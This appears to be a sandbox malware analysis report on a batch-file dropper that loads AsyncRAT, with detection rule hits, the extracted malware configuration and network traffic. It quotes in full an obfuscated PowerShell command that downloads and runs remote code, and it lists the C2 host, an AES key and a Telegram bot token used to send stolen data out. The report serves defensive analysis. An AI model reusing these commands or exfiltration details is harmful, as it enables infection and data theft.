Author: Florian Roth (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 2216, TargetFilename: C:\Users\Public\AXAGFIIEZBBS.bat

Sigma detected: AspNetCompiler Execution

Source: Process started

Author: frack113: Data: Command: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe", CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe", CommandLine|base64offset|contains: , Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe, ParentCommandLine: PowerShell -NoProfile -ExecutionPolicy Bypass -Command "& 'C:\AMRKKUAMRKKsAMRKKeAMRKKrAMRKKs\PAMRKKuAMRKKbAMRKKlAMRKKiAMRKKc\LMKGJHPBNG.ps1'.replace('AMRKK','')", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 1012, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe", ProcessId: 4200, ProcessName: aspnet_compiler.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: pOwerShEll -WindowStyle hidden -ExecutionPolicy bypass -Command "[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'https://almamas.com.ly/wblwxiun.rtw/pnilrykd.jpg')|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname", CommandLine: pOwerShEll -WindowStyle hidden -ExecutionPolicy bypass -Command "[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'https://almamas.com.ly/wblwxiun.rtw/pnilrykd.jpg')|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname", CommandLine|base64offset|contains: (D, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: CMD /C pOwerShEll -WindowStyle hidden -ExecutionPolicy bypass -Command "[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'https://almamas.com.ly/wblwxiun.rtw/pnilrykd.jpg')|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2160, ParentProcessName: cmd.exe, ProcessCommandLine: pOwerShEll -WindowStyle hidden -ExecutionPolicy bypass -Command "[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'https://almamas.com.ly/wblwxiun.rtw/pnilrykd.jpg')|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname", ProcessId: 2216, ProcessName: powershell.exe

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 2216, TargetFilename: C:\Users\Public\AXAGFIIEZBBS.bat

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: CMD /C pOwerShEll -WindowStyle hidden -ExecutionPolicy bypass -Command "[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'https://almamas.com.ly/wblwxiun.rtw/pnilrykd.jpg')|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname", CommandLine: CMD /C pOwerShEll -WindowStyle hidden -ExecutionPolicy bypass -Command "[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'https://almamas.com.ly/wblwxiun.rtw/pnilrykd.jpg')|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\Pe4905VGl1.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1872, ParentProcessName: cmd.exe, ProcessCommandLine: CMD /C pOwerShEll -WindowStyle hidden -ExecutionPolicy bypass -Command "[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'https://almamas.com.ly/wblwxiun.rtw/pnilrykd.jpg')|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname", ProcessId: 2160, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\ProgramData\WindowsHost\MJMDVSAJFXR.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\ProgramData\WindowsHost\MJMDVSAJFXR.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: pOwerShEll -WindowStyle hidden -ExecutionPolicy bypass -Command "[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'https://almamas.com.ly/wblwxiun.rtw/pnilrykd.jpg')|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 2216, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\ProgramData\WindowsHost\MJMDVSAJFXR.vbs" , ProcessId: 1976, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: pOwerShEll -WindowStyle hidden -ExecutionPolicy bypass -Command "[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'https://almamas.com.ly/wblwxiun.rtw/pnilrykd.jpg')|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname", CommandLine: pOwerShEll -WindowStyle hidden -ExecutionPolicy bypass -Command "[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'https://almamas.com.ly/wblwxiun.rtw/pnilrykd.jpg')|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname", CommandLine|base64offset|contains: (D, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: CMD /C pOwerShEll -WindowStyle hidden -ExecutionPolicy bypass -Command "[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'https://almamas.com.ly/wblwxiun.rtw/pnilrykd.jpg')|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2160, ParentProcessName: cmd.exe, ProcessCommandLine: pOwerShEll -WindowStyle hidden -ExecutionPolicy bypass -Command "[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'https://almamas.com.ly/wblwxiun.rtw/pnilrykd.jpg')|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname", ProcessId: 2216, ProcessName: powershell.exe

Sigma detected: PowerShell Script Dropped Via PowerShell.EXE

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 2216, TargetFilename: C:\Users\Public\LMKGJHPBNG.ps1

Data Obfuscation

Sigma detected: Powershell Download and Execute IEX

Source: Process started

Author: Joe Security: Data: Command: CMD /C pOwerShEll -WindowStyle hidden -ExecutionPolicy bypass -Command "[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'https://almamas.com.ly/wblwxiun.rtw/pnilrykd.jpg')|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname", CommandLine: CMD /C pOwerShEll -WindowStyle hidden -ExecutionPolicy bypass -Command "[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'https://almamas.com.ly/wblwxiun.rtw/pnilrykd.jpg')|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\Pe4905VGl1.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1872, ParentProcessName: cmd.exe, ProcessCommandLine: CMD /C pOwerShEll -WindowStyle hidden -ExecutionPolicy bypass -Command "[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'https://almamas.com.ly/wblwxiun.rtw/pnilrykd.jpg')|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname", ProcessId: 2160, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000013.00000002.1753014941.00000257013AA000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: AsyncRAT {"External_config_on_Pastebin": "null", "Server": "ducksex.ddnsfree.com", "Ports": "6161", "Version": "| CRACKED BY DEXTER-LY", "Autorun": "false", "Install_Folder": "UW1DWFNXQjRwTmZCcFN1WmRScE1TVEFQNkpZbmhIZWs=", "Install_File": "sM1ePJDTnlj3DtRAz7+dWOd5NGp5JQWsyrDZoPOlJQDTb6jNyWYXx3QMnyuazNtSs7TQ57FEdZieCqG12wLzhyExZMmCcwHl79x+3yuqL/o=", "AES_key": "QmCXSWB4pNfBpSuZdRpMSTAP6JYnhHek", "Mutex": "GG80pUNCFqeIBsLjHLFYJTVxcawRFwtyGo3CUv8xEr0FQ6fayqNqTizrEpLDnkgAkRFa6hxF8dqxu+8cWlEx829UEfZzHcDtfExYTn9JPBWbtOKZfw4jPt8BlpiKdSTcCPZcxhdww4SzQGSarZOzg+MYK1z13oJY6L5BAe2N9KV9U5sFSnNdnFxb3SV0JNc7e9PKmLRCiUgzHl8Q8taRcYgRrN3tD4w0o2FHstUZu246ixPat3z7xwdfym33m3Jstui7wHMCAjdaNH7DrBk5e0floJOx+2JRpCMlGENd9s5KiTp0ZHYtf1uTvLnza2eOL0IKBAJlscjt3Po1R2XyBJPSEp+aKzENQnfU45Bmab8RuRIzLbge67JD2+kLLP0Een/8+4UAdZz1Mj1xDhI2HumHhSzchUaWN7LCuXk6O3HsHv3d5e2sdrZkBmyJWGFQWGqN0clCQDqFOEFO5TcGZ0qL2A/obsKfDkuDm5s7FbE0cd6rw8PytF8ssXzTgg/lSrAXPNC03HV5KKrApYl04Tztmm/K0cWqyfE5TWWyn9ipBYoXOVgklba41/DMtIqIlCFGpMkkY8L8EdMLZRvslLCAiBnCm2SLqiBYivVWNIYDGfTOpAwchUWV3QfR5AtB8MgH5s4DJG7/RR4k2rNxE+dVRdMRR12ntFI+rGmuVQk=", "Certificate": "false", "ServerSignature": "true", "BDOS": "false", "Startup_Delay": "3", "Group": "null"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Source: unknown	HTTPS traffic detected: 168.119.208.219:443 -> 192.168.2.8:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.8:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:49710 version: TLS 1.2

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.2033951833.000002E7E3060000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.2026750928.000002E7E2FEF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.2026750928.000002E7E2FEF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb00100010007d1fa57c4aed9f0a32e84aa0faefd0de9e8fd6aec8f87fb03766c834c99921eb23be79ad9d5dcc1dd9ad236132102900b723cf980957fc4e177108fc607774f29e8320e92ea05ece4e821c0a5efe8f1645c4c0c93c1ab99285d622caa652c1dfad63d745d6f2de5f17e5eaf0fc4 source: powershell.exe, 00000004.00000002.2033951833.000002E7E3060000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbE source: powershell.exe, 00000004.00000002.2026750928.000002E7E2FEF000.00000004.00000020.00020000.00000000.sdmp

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: ducksex.ddnsfree.com

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: 21.2.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.25702485170.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.25701854fd0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.257018be6f0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.25701870610.0.raw.unpack, type: UNPACKEDPE

Source: global traffic

TCP traffic: 192.168.2.8:49712 -> 178.208.169.197:6161

Source: global traffic	HTTP traffic detected: GET /wblwxiun.rtw/pnilrykd.jpg HTTP/1.1Host: almamas.com.lyConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot8168254885:AAGgICtfG4yYWGNfRJQuM0_XqdKd4ysvR5I/sendPhoto HTTP/1.1Content-Type: multipart/form-data; boundary=058ae0d9-f381-4383-b2eb-b7376aff61a3Host: api.telegram.orgContent-Length: 695695

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 34.117.59.81 34.117.59.81
Source: Joe Sandbox View	IP Address: 34.117.59.81 34.117.59.81

Source: Joe Sandbox View	ASN Name: HETZNER-ASDE HETZNER-ASDE
Source: Joe Sandbox View	ASN Name: PHMGMT-AS1US PHMGMT-AS1US

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown

DNS query: name: ipinfo.io

Source: global traffic	HTTP traffic detected: GET /json HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot8168254885:AAGgICtfG4yYWGNfRJQuM0_XqdKd4ysvR5I/sendMessage HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Content-Type: application/jsonHost: api.telegram.orgContent-Length: 268Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63

Source: global traffic	HTTP traffic detected: GET /wblwxiun.rtw/pnilrykd.jpg HTTP/1.1Host: almamas.com.lyConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: ipinfo.ioConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: almamas.com.ly
Source: global traffic	DNS traffic detected: DNS query: ipinfo.io
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: ducksex.ddnsfree.com

Source: unknown

HTTP traffic detected: POST /bot8168254885:AAGgICtfG4yYWGNfRJQuM0_XqdKd4ysvR5I/sendMessage HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Content-Type: application/jsonHost: api.telegram.orgContent-Length: 268Connection: Keep-Alive

Source: powershell.exe, 00000013.00000002.1823355430.000002576D0D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: powershell.exe, 00000004.00000002.1868900966.000002E7CC286000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ipinfo.io
Source: powershell.exe, 00000013.00000002.1753014941.00000257032C4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1753014941.0000025703E64000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1753014941.00000257028C4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1825667488.000002576EEE0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://localhost:3030/Service.asmx
Source: powershell.exe, 00000004.00000002.1995041642.000002E7DAD3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000004.00000002.1868900966.000002E7CAEF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000004.00000002.1868900966.000002E7CACD1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1753014941.0000025700001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000004.00000002.1868900966.000002E7CAEF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000004.00000002.1868900966.000002E7CACD1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1753014941.0000025700001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000004.00000002.1868647268.000002E7CA7B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://almamas.com.ly/wblwxiun.rtw/pnilrykd.jpg
Source: powershell.exe, 00000004.00000002.1868900966.000002E7CB25A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: powershell.exe, 00000004.00000002.1868900966.000002E7CB25A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1868900966.000002E7CC286000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: powershell.exe, 00000004.00000002.1868900966.000002E7CB25A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot$BotToken/sendMessage
Source: powershell.exe, 00000004.00000002.1868900966.000002E7CB25A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1868900966.000002E7CC286000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot$BotToken/sendPhoto
Source: powershell.exe, 00000004.00000002.1868900966.000002E7CB25A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot8168254885:AAGgICtfG4yYWGNfRJQuM0_XqdKd4ysvR5I/sendMessage
Source: powershell.exe, 00000004.00000002.1868900966.000002E7CB25A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot8168254885:AAGgICtfG4yYWGNfRJQuM0_XqdKd4ysvR5I/sendPhoto
Source: powershell.exe, 00000004.00000002.1995041642.000002E7DAD3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000004.00000002.1995041642.000002E7DAD3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000004.00000002.1995041642.000002E7DAD3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000004.00000002.1868900966.000002E7CAEF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000004.00000002.1868900966.000002E7CC773000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1868900966.000002E7CC454000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1753014941.00000257013AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000004.00000002.1868900966.000002E7CC454000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.i
Source: powershell.exe, 00000004.00000002.1868900966.000002E7CC286000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io
Source: powershell.exe, 00000004.00000002.1868900966.000002E7CC286000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/json
Source: powershell.exe, 00000004.00000002.1868900966.000002E7CC454000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/missX
Source: powershell.exe, 00000004.00000002.1868900966.000002E7CC446000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1868900966.000002E7CC454000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1868900966.000002E7CB0A0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1868900966.000002E7CC44A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1868900966.000002E7CC286000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/missingauth
Source: powershell.exe, 00000004.00000002.1995041642.000002E7DAD3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703

Source: unknown	HTTPS traffic detected: 168.119.208.219:443 -> 192.168.2.8:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.8:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:49710 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected AsyncRAT

Source: Yara match	File source: 21.2.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.25702485170.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.257018be6f0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.25702485170.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.25701854fd0.5.unpack, type: UNPACKEDPE
